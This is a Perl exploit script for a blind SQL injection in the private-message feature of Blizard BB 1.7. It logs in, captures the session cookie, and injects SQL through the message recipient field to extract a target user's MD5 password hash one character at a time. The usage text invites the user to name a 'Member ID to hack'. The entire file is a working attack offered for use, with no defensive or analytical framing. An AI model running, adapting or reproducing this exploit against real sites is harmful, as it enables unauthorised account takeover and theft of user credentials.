| 
	  #!/usr/bin/perl  
   
   
use strict;  
use IO::Socket::INET;  
   
   
my ($host,$username,$password,$uid) = @ARGV;  
   
   
if (@ARGV != 4) { usage(); }  
   
   
my $path = "/blizardbb17/html/";  
                                  
   
   
my @chars = (48..57, 97..102);   
my ($i,$ord,$hash) = (1,undef,undef);  
parse_url($host);  
my $cookie = login();  
   
   
   
syswrite(STDOUT, "[-] Trying to retrieve MD5 Hash: ");  
   
for ($i=0;$i<=32;$i++)   
{  
                                   
   foreach $ord (@chars)   
   {   
                
      if (send_msg(sql($i,$ord)) == 666)   
          {    
              syswrite(STDOUT,chr($ord));  
                  $hash .= chr($ord);  
                  last;  
          }  
          if ($i == 2 and not defined $hash)   
          {  
             syswrite(STDOUT,"\n[-] Exploit Failed");  
                 exit;  
          }        
   }                 
}  
   
   
   
if (length($hash) == 32) {  
   die "\[-]Exploit Successfully";  
}  
else {  
   die "\n[-] Exploit Failed";  
}     
   
   
   
sub sql  
{  
      my ($i,$j,$sql) = (shift,shift,undef);  
         
      $sql = "shrod ' AND ASCII(SUBSTRING((SELECT password FROM bz_users WHERE uid=".$uid."),".$i.",1))=".$j."#";  
                
      return $sql;          
}          
       
           
sub parse_url()  
{  
   if ($_[0] =~  m{^http://(.+?)$}i ) {   
       $_[0] = $1;   
  }  
}  
   
   
sub login() {  
   
   
my ($PHPSESSID,$content,$packet);  
   
my $data = "username=".$username."&password=".$password."&red_url=".$host.$path."login.php&login=Login";  
   
   
my $socket  = new IO::Socket::INET(  
                                   PeerAddr => $host,  
                                   PeerPort => 80,  
                                   Proto    => 'tcp',  
                                  ) or die $!;  
           
                   
   
$packet .= "POST ".$path."login.php HTTP/1.1\r\n";  
$packet .= "Host: ".$host."\r\n";  
$packet .= "User-Agent: Lynx (textmode)\r\n";  
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$packet .= "Content-Length:".length($data)."\r\n";  
$packet .= "Connection: close\r\n\r\n";  
$packet.= $data;  
   
   
$socket->send($packet);  
    
    
 while (<$socket>) {  
     $content .= $_;  
 }      
    
     
  if($content =~ /PHPSESSID=(.+?);/) {   
   $PHPSESSID = $1;   
   return $PHPSESSID;  
 }   
  else {   
     die $!;  
  }  
}  
   
   
   
sub send_msg() {  
   
   
my ($payload,$content,$packet) = (shift,undef,undef);  
   
my $data2 = "title=IZI&destinatario=".$payload."&message=asdasd&newgo=Nuovo+Messaggio";  
   
    
my $socket  = new IO::Socket::INET(  
                                   PeerAddr => $host,  
                                   PeerPort => 80,  
                                   Proto    => 'tcp',  
                                  ) or die $!;  
           
                   
   
$packet .= "POST ".$path."privmsg.php?type=new HTTP/1.1\r\n";  
$packet .= "Host: ".$host."\r\n";  
$packet .= "User-Agent: Lynx (textmode)\r\n";  
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$packet .= "Cookie: PHPSESSID=".$cookie."\r\n";  
$packet .= "Content-Length:".length($data2)."\r\n";  
$packet .= "Connection: close\r\n\r\n";  
$packet.= $data2;  
   
   
$socket->send($packet);  
    
    
 while (<$socket>) {  
     $content .= $_;  
 }      
    
   
if ($content  =~ /Messaggio inviato/) {  
    return 666;  
}  
else {   
    return 0; }  
}  
   
   
sub usage() {  
           
        print "[*---------------------------------------------------------*]\n".  
              "[* Blizard BB 1.7 (privtmsg) Blind SQL Injection Exploit   *]\n".  
              "[*---------------------------------------------------------*]\n".   
              "[* Usage: perl web.pl [host] [username] [password] [uid]   *]\n".  
              "[*                                                         *]\n".  
              "[* Options:                                                *]\n".  
              "[* [host] insert a valid host                              *]\n".  
              "[* [username] insert your username                         *]\n".  
              "[* [password] insert your password                         *]\n".  
              "[* [uid] Member ID to hack                                 *]\n".  
              "[*---------------------------------------------------------*]\n";          
      exit;                         
      
} 
  
	
  |